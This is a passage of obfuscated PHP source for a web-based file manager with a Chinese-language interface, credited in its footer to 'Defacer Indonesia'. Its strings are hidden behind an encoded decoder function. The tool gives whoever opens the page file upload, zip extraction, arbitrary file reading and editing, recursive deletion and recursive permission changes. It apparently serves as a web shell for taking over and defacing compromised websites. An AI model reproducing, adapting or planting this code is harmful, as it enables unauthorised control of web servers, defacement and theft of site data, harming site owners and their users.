01c734d09507f59594e73725d0f537e391a6816165b654d414e016003444c7078043e5c12556b56415272384a5c476266051144075f7004524e237a5d575077611a7358124e714e4b44646a024f4174770766550918095b4a5d75654c51406f65020f4307507e5a5d4377724b49577e6b18674213407b494c1d016a02254c2512127d5609406c594e2978614a511f646b5b794d52586b435a4079705a56567e39116547154e7e4641166b7145474c7e7b033a5c094b6a5b4d5271644a5206626b047940035f7900384079765e5556657e126642164a78474f47646b5f3b4c251209335e0941635f485e75664c5c4c62650711561c5b7e595b44707b5e5535650f4d'),$dfdsdfs),true); function changePermission($path, $permission = null) { if (!(!(!file_exists($path)))) { return oojdfkah(0); } if (!(!(DIRECTORY_SEPARATOR == oojdfkah(1)))) { return oojdfkah(2); } if (!(!($permission === null))) { if (isset($_POST[oojdfkah(3)]) || isset($_POST[oojdfkah(4)]) || isset($_POST[oojdfkah(5)]) || isset($_POST[oojdfkah(6)]) || isset($_POST[oojdfkah(7)]) || isset($_POST[oojdfkah(8)]) || isset($_POST[oojdfkah(9)]) || isset($_POST[oojdfkah(10)]) || isset($_POST[oojdfkah(11)])) { $mode = 0; if (!(!(!empty($_POST[oojdfkah(12)])))) { $mode |= 0400; } if (!(!(!empty($_POST[oojdfkah(13)])))) { $mode |= 0200; } if (!(!(!empty($_POST[oojdfkah(14)])))) { $mode |= 0100; } if (!(!(!empty($_POST[oojdfkah(15)])))) { $mode |= 0040; } if (!(!(!empty($_POST[oojdfkah(16)])))) { $mode |= 0020; } if (!(!(!empty($_POST[oojdfkah(17)])))) { $mode |= 0010; } if (!(!(!empty($_POST[oojdfkah(18)])))) { $mode |= 0004; } if (!(!(!empty($_POST[oojdfkah(19)])))) { $mode |= 0002; } if (!(!(!empty($_POST[oojdfkah(20)])))) { $mode |= 0001; } $parsedPermission = $mode; } else { $permission = isset($_POST[oojdfkah(21)]) ? $_POST[oojdfkah(22)] : oojdfkah(23); if (!(!($permission === oojdfkah(24)))) { return oojdfkah(25); } $validPermissions = [oojdfkah(26), oojdfkah(27), oojdfkah(28), oojdfkah(29), oojdfkah(30), oojdfkah(31)]; if (!(!(!in_array($permission, $validPermissions)))) { return oojdfkah(32) . implode(oojdfkah(33), $validPermissions); } $parsedPermission = intval($permission, 8); } } else { $parsedPermission = intval($permission, 8); } if (!(!($parsedPermission === 0))) { return oojdfkah(34); } if (!(!(chmodRecursive($path, $parsedPermission)))) { return oojdfkah(35); } else { return oojdfkah(36); } } function chmodRecursive($path, $permission) { if (!(!(is_dir($path)))) { $items = @scandir($path); if (!(!($items === false))) { return false; } foreach ($items as $item) { if (!(!($item == oojdfkah(37) || $item == oojdfkah(38)))) { continue; } $itemPath = $path . DIRECTORY_SEPARATOR . $item; if (!(!(is_dir($itemPath)))) { if (!(!(!chmod($itemPath, $permission)))) { return false; } if (!(!(!chmodRecursive($itemPath, $permission)))) { return false; } } else { if (!(!(!chmod($itemPath, $permission)))) { return false; } } } } else { if (!(!(!chmod($path, $permission)))) { return false; } } return true; } function renameFile($oldName, $newName) { $currentDir = getCurrentDirectory(); $realOldPath = realpath($oldName); if (!(!(strpos($realOldPath, $currentDir) !== 0))) { return oojdfkah(39); } if (!(!(file_exists($oldName)))) { $directory = dirname($oldName); $newPath = $directory . DIRECTORY_SEPARATOR . $newName; if (!(!(strpos(basename($newPath), oojdfkah(40)) === 0))) { return oojdfkah(41); } if (!(!(@rename($oldName, $newPath)))) { return oojdfkah(42); } else { return oojdfkah(43); } } else { return oojdfkah(44); } } function deleteFile($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return oojdfkah(45); } if (!(!(file_exists($file)))) { if (!(!(@unlink($file)))) { return oojdfkah(46); } else { return oojdfkah(47); } } else { return oojdfkah(48); } } function deleteFolder($folder) { $currentDir = getCurrentDirectory(); $realFolderPath = realpath($folder); if (!(!(strpos($realFolderPath, $currentDir) !== 0))) { return oojdfkah(49); } if (!(!(is_dir($folder)))) { $files = @glob($folder . DIRECTORY_SEPARATOR . oojdfkah(50)); foreach ($files as $file) { is_dir($file) ? deleteFolder($file) : unlink($file); } if (!(!(@rmdir($folder)))) { return oojdfkah(51); } else { return oojdfkah(52); } } else { return oojdfkah(53); } } function createFile($fileName) { if (!(!(strpos($fileName, DIRECTORY_SEPARATOR) !== false))) { return oojdfkah(54); } if (!(!(strpos($fileName, oojdfkah(55)) === 0))) { return oojdfkah(56); } $currentDirectory = @getCurrentDirectory(); $filePath = $currentDirectory . DIRECTORY_SEPARATOR . $fileName; if (!(!(!file_exists($filePath)))) { if (!(!(@file_put_contents($filePath, oojdfkah(57)) !== false))) { return oojdfkah(58) . $fileName; } else { return oojdfkah(59); } } else { return oojdfkah(60) . $fileName; } } function createFolder($folderName) { if (!(!(strpos($folderName, DIRECTORY_SEPARATOR) !== false))) { return oojdfkah(61); } if (!(!(strpos($folderName, oojdfkah(62)) === 0))) { return oojdfkah(63); } $currentDirectory = @getCurrentDirectory(); $folderPath = $currentDirectory . DIRECTORY_SEPARATOR . $folderName; if (!(!(!file_exists($folderPath)))) { if (!(!(@mkdir($folderPath)))) { return oojdfkah(64) . $folderName; } else { return oojdfkah(65); } } else { return oojdfkah(66) . $folderName; } } function handleZipOperations() { $currentDirectory = getCurrentDirectory(); $errorMessage = oojdfkah(67); $responseMessage = oojdfkah(68); if (!(!(isset($_POST[oojdfkah(69)])))) { $extractZipFile = $_FILES[oojdfkah(70)][oojdfkah(71)]; $extractZipPath = $currentDirectory . DIRECTORY_SEPARATOR . $extractZipFile; $fileType = strtolower(pathinfo($extractZipPath, PATHINFO_EXTENSION)); if (!(!($fileType !== oojdfkah(72)))) { return oojdfkah(73); } if (!(!($_FILES[oojdfkah(74)][oojdfkah(75)] > 20 * 1024 * 1024))) { return oojdfkah(76); } if (!(!(move_uploaded_file($_FILES[oojdfkah(77)][oojdfkah(78)], $extractZipPath)))) { $zip = new ZipArchive(); if (!(!($zip->open($extractZipPath) === true))) { $hasTraversal = false; for ($i = 0; $i < $zip->numFiles; $i++) { $fileName = $zip->getNameIndex($i); if (!(!(strpos($fileName, oojdfkah(79)) !== false))) { $hasTraversal = true; break; } } if (!(!($hasTraversal))) { unlink($extractZipPath); return oojdfkah(80); } $zip->extractTo($currentDirectory); $zip->close(); unlink($extractZipPath); return oojdfkah(81); } else { unlink($extractZipPath); return oojdfkah(82); } } else { return oojdfkah(83); } } if (!(!(isset($_POST[oojdfkah(84)])))) { $zipFile = $_POST[oojdfkah(85)]; $zipFileName = $currentDirectory . DIRECTORY_SEPARATOR . basename($zipFile) . oojdfkah(86); $realFilePath = realpath($zipFile); if (!(!(strpos($realFilePath, $currentDirectory) !== 0))) { return oojdfkah(87); } $zip = new ZipArchive(); if (!(!($zip->open($zipFileName, ZipArchive::CREATE) === true))) { if (!(!(is_dir($zipFile)))) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zipFile) ); foreach ($files as $file) { if (!(!(!$file->isDir()))) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($zipFile) + 1); $zip->addFile($filePath, $relativePath); } } } elseif (!(!(is_file($zipFile)))) { $zip->addFile($zipFile, basename($zipFile)); } else { return oojdfkah(88); } $zip->close(); return oojdfkah(89); } else { return oojdfkah(90); } } } if (!(!(isset($_POST[oojdfkah(91)]) && $_POST[oojdfkah(92)] == 1))) { header(oojdfkah(93)); $action = isset($_POST[oojdfkah(94)]) ? $_POST[oojdfkah(95)] : oojdfkah(96); $result = array(oojdfkah(97) => false, oojdfkah(98) => oojdfkah(99), oojdfkah(100) => null); switch ($action) { case oojdfkah(101): $path = isset($_POST[oojdfkah(102)]) ? $_POST[oojdfkah(103)] : getCurrentDirectory(); $fileDetails = getFileDetails($path); $result[oojdfkah(104)] = true; $result[oojdfkah(105)] = array( oojdfkah(106) => generateBreadcrumbHTML($path), oojdfkah(107) => generateFileTableHTML($path) ); break; case oojdfkah(108): $file = isset($_POST[oojdfkah(109)]) ? $_POST[oojdfkah(110)] : oojdfkah(111); $content = isset($_POST[oojdfkah(112)]) ? $_POST[oojdfkah(113)] : oojdfkah(114); $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) === 0 && file_put_contents($file, $content) !== false))) { $result[oojdfkah(115)] = true; $result[oojdfkah(116)] = oojdfkah(117); } else { $result[oojdfkah(118)] = oojdfkah(119); } break; case oojdfkah(120): $file = isset($_POST[oojdfkah(121)]) ? $_POST[oojdfkah(122)] : oojdfkah(123); $result[oojdfkah(124)] = deleteFile($file); $result[oojdfkah(125)] = strpos($result[oojdfkah(126)], oojdfkah(127)) !== false; if (!(!($result[oojdfkah(128)]))) { $result[oojdfkah(129)] = array( oojdfkah(130) => generateBreadcrumbHTML(getCurrentDirectory()), oojdfkah(131) => generateFileTableHTML(getCurrentDirectory()) ); } break; case oojdfkah(132): $folder = isset($_POST[oojdfkah(133)]) ? $_POST[oojdfkah(134)] : oojdfkah(135); $result[oojdfkah(136)] = deleteFolder($folder); $result[oojdfkah(137)] = strpos($result[oojdfkah(138)], oojdfkah(139)) !== false; if (!(!($result[oojdfkah(140)]))) { $result[oojdfkah(141)] = array( oojdfkah(142) => generateBreadcrumbHTML(getCurrentDirectory()), oojdfkah(143) => generateFileTableHTML(getCurrentDirectory()) ); } break; case oojdfkah(144): $file = isset($_POST[oojdfkah(145)]) ? $_POST[oojdfkah(146)] : oojdfkah(147); $permission = isset($_POST[oojdfkah(148)]) ? $_POST[oojdfkah(149)] : oojdfkah(150); $result[oojdfkah(151)] = changePermission($file, $permission); $result[oojdfkah(152)] = strpos($result[oojdfkah(153)], oojdfkah(154)) !== false; if (!(!($result[oojdfkah(155)]))) { $result[oojdfkah(156)] = array( oojdfkah(157) => generateBreadcrumbHTML(dirname($file)), oojdfkah(158) => generateFileTableHTML(dirname($file)) ); } break; } echo json_encode($result); exit; } $currentDirectory = getCurrentDirectory(); $errorMessage = oojdfkah(159); $responseMessage = oojdfkah(160); if (!(!(isset($_GET[oojdfkah(161)])))) { changeDirectory($_GET[oojdfkah(162)]); $currentDirectory = getCurrentDirectory(); } if (!(!(isset($_GET[oojdfkah(163)])))) { $file = $_GET[oojdfkah(164)]; $content = readFileContent($file); if (!(!($_SERVER[oojdfkah(165)] === oojdfkah(166)))) { $saved = saveFileContent($file); if (!(!($saved))) { $responseMessage = oojdfkah(167); } else { $errorMessage = oojdfkah(168); } } } if (!(!(isset($_GET[oojdfkah(169)])))) { $file = $_GET[oojdfkah(170)]; if (!(!($_SERVER[oojdfkah(171)] === oojdfkah(172)))) { $currentDir = getCurrentDirectory(); $fullFilePath = $currentDir . DIRECTORY_SEPARATOR . $file; $responseMessage = changePermission($fullFilePath); } } if (!(!(isset($_POST[oojdfkah(173)])))) { $responseMessage = uploadFile($currentDirectory); } if (!(!(isset($_GET[oojdfkah(174)])))) { $file = $_GET[oojdfkah(175)]; if (!(!($_SERVER[oojdfkah(176)] === oojdfkah(177)))) { $newName = @$_POST[oojdfkah(178)]; if (!(!(is_file($file) || is_dir($file)))) { $responseMessage = renameFile($file, $newName); } else { $errorMessage = oojdfkah(179); } } } if (!(!(isset($_GET[oojdfkah(180)])))) { $file = $_GET[oojdfkah(181)]; if (!(!($_SERVER[oojdfkah(182)] === oojdfkah(183)))) { $currentDirectory = getCurrentDirectory(); if (!(!(is_file($file)))) { $responseMessage = deleteFile($file); } elseif (!(!(is_dir($file)))) { $responseMessage = deleteFolder($file); } else { $errorMessage = oojdfkah(184); } } } if ( isset($_POST[oojdfkah(185)]) && isset($_GET[oojdfkah(186)]) && $_GET[oojdfkah(187)] === oojdfkah(188) ) { $fileName = $_POST[oojdfkah(189)]; $responseMessage = createFile($fileName); } if ( isset($_POST[oojdfkah(190)]) && isset($_GET[oojdfkah(191)]) && $_GET[oojdfkah(192)] === oojdfkah(193) ) { $folderName = $_POST[oojdfkah(194)]; $responseMessage = createFolder($folderName); } if (!(!(isset($_POST[oojdfkah(195)]) || isset($_POST[oojdfkah(196)])))) { $responseMessage = handleZipOperations(); } function generateBreadcrumbHTML($path) { ob_start(); showBreadcrumb($path); return ob_get_clean(); } function generateFileTableHTML($path) { ob_start(); showFileTable($path); return ob_get_clean(); } ?> <!DOCTYPE html><html><head><title>安全文件管理器</title><meta charset="UTF-8"><style>body{font-family:Arial,sans-serif;margin:20px;background-color:#f0f0f0}.container{max-width:1200px;margin:0 auto;background-color:white;padding:20px;border-radius:5px;box-shadow:0 0 10px rgba(0,0,0,0.1)}h1,h2{color:#333}table{width:100%;border-collapse:collapse;margin-top:20px}th,td{padding:10px;border:1px solid#ddd;text-align:left}th{background-color:#f2f2f2}.breadcrumb{margin-bottom:20px;font-size:18px}.breadcrumb a{color:#0066cc;text-decoration:none}.breadcrumb a:hover{text-decoration:underline}.button{background-color:#2196F3;color:white;padding:8px 16px;border:none;border-radius:4px;cursor:pointer}.button:hover{background-color:#1976D2}.upload-form,.rename-form,.edit-file,.change-permission{margin:20px 0;padding:20px;background-color:#f9f9f9;border-radius:5px}.permission-container{display:flex;gap:30px;margin:20px 0}.permission-group{flex:1;background:white;padding:15px;border-radius:5px;box-shadow:0 2px 4px rgba(0,0,0,0.05);border:1px solid#e0e0e0}.permission-group h4{margin:0 0 15px 0;color:#333;font-size:16px;text-align:center;padding-bottom:8px;border-bottom:2px solid#2196F3}.permission-group label{display:flex;align-items:center;padding:8px 0;cursor:pointer;transition:background-color 0.2s;border-radius:3px}.permission-group label:hover{background-color:#f5f5f5}.permission-group input[type="checkbox"]{margin-right:10px;width:auto;height:18px;width:18px;cursor:pointer}.permission-group label span{font-size:14px;color:#555}input[type="text"],input[type="file"],textarea,select{padding:8px;border:1px solid#ddd;border-radius:4px;width:100%;margin-bottom:10px}textarea{height:300px}.response-message{color:green;font-weight:bold}.error-message{color:red;font-weight:bold}.button-container{margin-bottom:20px}.command-output{background-color:#f0f0f0;padding:10px;border-radius:4px;overflow-x:auto;margin-top:20px}pre{white-space:pre-wrap}.footer{margin-top:40px;text-align:center;color:#777;font-size:14px}.ajax-loading{display:inline-block;width:20px;height:20px;border:2px solid#f3f3f3;border-top:2px solid#2196F3;border-radius:50%;animation:spin 1s linear infinite;vertical-align:middle;margin-left:10px}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.message-container{margin:10px 0;padding:10px;border-radius:4px;display:none}.success-message{background-color:#d4edda;color:#155724;border:1px solid#c3e6cb}.error-message{background-color:#f8d7da;color:#721c24;border:1px solid#f5c6cb}</style><script>function showMessage(message,type){const container=document.createElement('div');container.className='message-container '+(type==='success'?'success-message':'error-message');container.textContent=message;container.style.display='block';container.style.position='fixed';container.style.top='20px';container.style.left='50%';container.style.transform='translateX(-50%)';container.style.zIndex='10000';container.style.width='fit-content';container.style.minWidth='300px';container.style.maxWidth='90%';container.style.textAlign='center';container.style.boxShadow='0 4px 12px rgba(0, 0, 0, 0.15)';const parent=document.querySelector('body');parent.appendChild(container);setTimeout(()=>{container.style.opacity='0';container.style.transition='opacity 0.5s';setTimeout(()=>{if(container.parentNode===parent){parent.removeChild(container)}},500)},3000)}function sendAjaxRequest(action,data,callback){data.ajax=1;data.action=action;const xhr=new XMLHttpRequest();xhr.open('POST',window.location.pathname,true);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.onreadystatechange=function(){if(xhr.readyState===4){try{const response=JSON.parse(xhr.responseText);if(callback)callback(response)}catch(e){console.error('JSON解析错误:',e);showMessage('请求处理失败,请刷新页面重试','error')}}};const formData=Object.keys(data).map(key=>encodeURIComponent(key)+'='+encodeURIComponent(data[key])).join('&');xhr.send(formData)}function updateFileList(path){sendAjaxRequest('get_file_list',{path:path},function(response){if(response.success){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}else{showMessage(response.message||'更新文件列表失败','error')}})}function handleFileSave(event,filePath){event.preventDefault();const content=document.querySelector('textarea[name="content"]').value;sendAjaxRequest('save_file',{file:filePath,content:content},function(response){if(response.success){showMessage(response.message,'success')}else{showMessage(response.message,'error')}})}function handleFileDelete(filePath){if(confirm('确定要删除这个文件吗?')){sendAjaxRequest('delete_file',{file:filePath},function(response){if(response.success){showMessage(response.message,'success');if(response.data){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer&&response.data.breadcrumb&&response.data.file_table){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}}else{showMessage(response.message,'error')}})}}function handleFolderDelete(folderPath){if(confirm('确定要删除这个文件夹及其所有内容吗?')){sendAjaxRequest('delete_folder',{folder:folderPath},function(response){if(response.success){showMessage(response.message,'success');if(response.data){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer&&response.data.breadcrumb&&response.data.file_table){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}}else{showMessage(response.message,'error')}})}}function handlePermissionChange(event,filePath){event.preventDefault();const ur=document.querySelector('input[name="ur"]').checked?4:0;const uw=document.querySelector('input[name="uw"]').checked?2:0;const ux=document.querySelector('input[name="ux"]').checked?1:0;const gr=document.querySelector('input[name="gr"]').checked?4:0;const gw=document.querySelector('input[name="gw"]').checked?2:0;const gx=document.querySelector('input[name="gx"]').checked?1:0;const or=document.querySelector('input[name="or"]').checked?4:0;const ow=document.querySelector('input[name="ow"]').checked?2:0;const ox=document.querySelector('input[name="ox"]').checked?1:0;const permission=(ur+uw+ux)*100+(gr+gw+gx)*10+(or+ow+ox);sendAjaxRequest('change_permission',{file:filePath,permission:permission},function(response){if(response.success){showMessage(response.message,'success');if(response.data){const breadcrumbContainer=document.querySelector('.breadcrumb');const fileTableContainer=document.querySelector('table');if(breadcrumbContainer&&fileTableContainer&&response.data.breadcrumb&&response.data.file_table){const tempDiv=document.createElement('div');tempDiv.innerHTML=response.data.breadcrumb;const newBreadcrumb=tempDiv.querySelector('.breadcrumb');if(newBreadcrumb){breadcrumbContainer.parentNode.replaceChild(newBreadcrumb,breadcrumbContainer)}tempDiv.innerHTML=response.data.file_table;const newTable=tempDiv.querySelector('table');if(newTable){fileTableContainer.parentNode.replaceChild(newTable,fileTableContainer)}setupEventListeners()}}}else{showMessage(response.message,'error')}})}function setupEventListeners(){document.querySelectorAll('select[onchange="location.href = this.value;"]').forEach(select=>{select.onchange=function(){const value=this.value;if(value){if(value.includes('&delete=')){const parts=value.split('&delete=');const filePath=decodeURIComponent(parts[1]);if(filePath.includes('%2F')){handleFolderDelete(decodeURIComponent(filePath))}else{handleFileDelete(decodeURIComponent(filePath))}}else{location.href=value}}}})}document.addEventListener('DOMContentLoaded',function(){setupEventListeners();const editForm=document.querySelector('.edit-file form');if(editForm){const filePath='<?php echo isset($file) ? htmlspecialchars($file) : ''; ?>';if(filePath){editForm.onsubmit=function(event){handleFileSave(event,filePath)}}}const permissionForm=document.querySelector('.change-permission form');if(permissionForm){const searchParams=new URLSearchParams(location.search);const filePath=decodeURIComponent(searchParams.get('dir')+'/'+searchParams.get('chmod'));if(filePath){permissionForm.onsubmit=function(event){handlePermissionChange(event,filePath)}}}});</script></head><body><div class="container"><div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px;"><h1>安全文件管理器</h1><a href="?logout=1"style="background-color: #f44336; color: white; padding: 8px 16px; text-decoration: none; border-radius: 4px; font-size: 14px;">注销</a></div><div class="button-container"><select onchange="location.href = this.value;"><option value=""selected disabled>创建文件或文件夹</option><option value="?dir=<?php echo urlencode($currentDirectory); ?>&create=file">创建文件</option><option value="?dir=<?php echo urlencode($currentDirectory); ?>&create=folder">创建文件夹</option></select><select onchange="location.href = this.value;"><option value=""selected disabled>ZIP操作</option><option value="?dir=<?php echo urlencode($currentDirectory); ?>&hahay=unzip">解压ZIP</option><option value="?dir=<?php echo urlencode($currentDirectory); ?>&hahay=extract_zip">压缩文件</option></select></div><?php if(!empty($errorMessage)){?><p class="error-message"><?php echo $errorMessage;?></p><?php }?><?php if(!empty($responseMessage)){?><p class="response-message"><?php echo $responseMessage;?></p><?php }?><div class="upload-form"><h2>文件上传</h2><form method="post"enctype="multipart/form-data"><input type="file"name="file"><button class="button"type="submit"name="upload">上传</button></form></div><?php if(isset($_GET["read"])){?><div class="command-output"><h2>文件内容:<?php echo basename($_GET["read"]);?></h2><div style="margin-bottom: 10px;"><a href="?edit=<?php echo urlencode($_GET["read"]); ?>"><button class="button"style="background-color: #2196F3; color: white; padding: 8px 15px; text-decoration: none; border: none; border-radius: 4px; cursor: pointer;">编辑文件</button></a></div><pre><?php echo htmlspecialchars(readFileContent($_GET["read"]));?></pre></div><?php }?><?php if(isset($_GET["create"])&&$_GET["create"]==="file"){?><div class="rename-form"><h2>创建文件</h2><form method="post"><input type="text"name="file_name"placeholder="新文件名"><input type="submit"value="创建文件"name="create_file"class="button"></form></div><?php }?><?php if(isset($_GET["create"])&&$_GET["create"]==="folder"){?><div class="rename-form"><h2>创建文件夹</h2><form method="post"><input type="text"name="folder_name"placeholder="新文件夹名"><input type="submit"value="创建文件夹"name="create_folder"class="button"></form></div><?php }?><?php if(isset($_GET["rename"])){?><div class="rename-form"><h2>重命名:<?php echo basename($_GET["rename"]);?></h2><form method="post"><input type="text"name="new_name"placeholder="新名称"required><br><input type="submit"value="重命名"class="button"><a href="?dir=<?php echo urlencode( dirname($_GET["rename"]) ); ?>"class="button">取消</a></form></div><?php }?><?php if(isset($_GET["edit"])){?><?php $filePath=htmlspecialchars($_GET["edit"]);$dirPath=dirname($filePath);?><div class="edit-file"><h2>编辑文件:<?php echo basename($filePath);?></h2><p style="color: #666; margin-bottom: 15px;">路径:<?php echo $filePath;?></p><form method="post"><textarea name="content"rows="20"style="width: 100%; font-family: monospace; font-size: 14px;"><?php echo htmlspecialchars($content);?></textarea><br><div style="margin-top: 10px;"><button class="button"type="submit">保存</button><a href="?dir=<?php echo urlencode($dirPath); ?>"class="button"style="background-color: #f44336; margin-left: 10px;">取消</a></div></form></div><?php }elseif(isset($_GET["chmod"])){?><div class="change-permission"><h2>修改权限:<?php echo basename($_GET["chmod"]);?></h2><?php if(DIRECTORY_SEPARATOR=='\\'){echo'<p style="color: #f44336;">Windows系统不支持更改文件权限</p>';}else{$file=$_GET["chmod"];$currentDir=getCurrentDirectory();$fullFilePath=$currentDir.DIRECTORY_SEPARATOR.$file;$currentMode=fileperms($fullFilePath);?><form method="post"><input type="hidden"name="chmod"value="<?php echo urlencode( $file ); ?>"><div class="permission-container"><div class="permission-group"><h4>用户</h4><label><input type="checkbox"name="ur"<?php echo($currentMode&0400)?'checked':'';?>>读</label><label><input type="checkbox"name="uw"<?php echo($currentMode&0200)?'checked':'';?>>写</label><label><input type="checkbox"name="ux"<?php echo($currentMode&0100)?'checked':'';?>>执行</label></div><div class="permission-group"><h4>组</h4><label><input type="checkbox"name="gr"<?php echo($currentMode&0040)?'checked':'';?>>读</label><label><input type="checkbox"name="gw"<?php echo($currentMode&0020)?'checked':'';?>>写</label><label><input type="checkbox"name="gx"<?php echo($currentMode&0010)?'checked':'';?>>执行</label></div><div class="permission-group"><h4>其他</h4><label><input type="checkbox"name="or"<?php echo($currentMode&0004)?'checked':'';?>>读</label><label><input type="checkbox"name="ow"<?php echo($currentMode&0002)?'checked':'';?>>写</label><label><input type="checkbox"name="ox"<?php echo($currentMode&0001)?'checked':'';?>>执行</label></div></div><div style="margin-top: 20px;"><button class="button"type="submit">修改</button><a href="?dir=<?php echo urlencode(dirname($file)); ?>"class="button"style="background-color: #f44336; margin-left: 10px;">取消</a></div></form><?php }?></div><?php }?><?php if(isset($_GET["hahay"])&&$_GET["hahay"]=="unzip"){?><div class="rename-form"><h2>解压ZIP文件</h2><form method="post"enctype="multipart/form-data"><input type="file"name="extract-zip-file"><button class="button"type="submit"name="extract-zip">解压</button></form></div><?php }elseif(isset($_GET["hahay"])&&$_GET["hahay"]=="extract_zip"){?><div class="rename-form"><h2>压缩文件/目录</h2><form method="post"><input type="text"name="zip-file"placeholder="输入文件或目录路径"required><button class="button"type="submit"name="zip">压缩</button></form></div><?php }?><hr><?php echo"<h2>文件列表</h2>";showBreadcrumb($currentDirectory);showFileTable($currentDirectory);?></div><div class="footer"><p>安全文件管理器 © <?php echo date("Y"); ?> | 作者: lrs</p></div></body></html>
Copyright ©2021 || Defacer Indonesia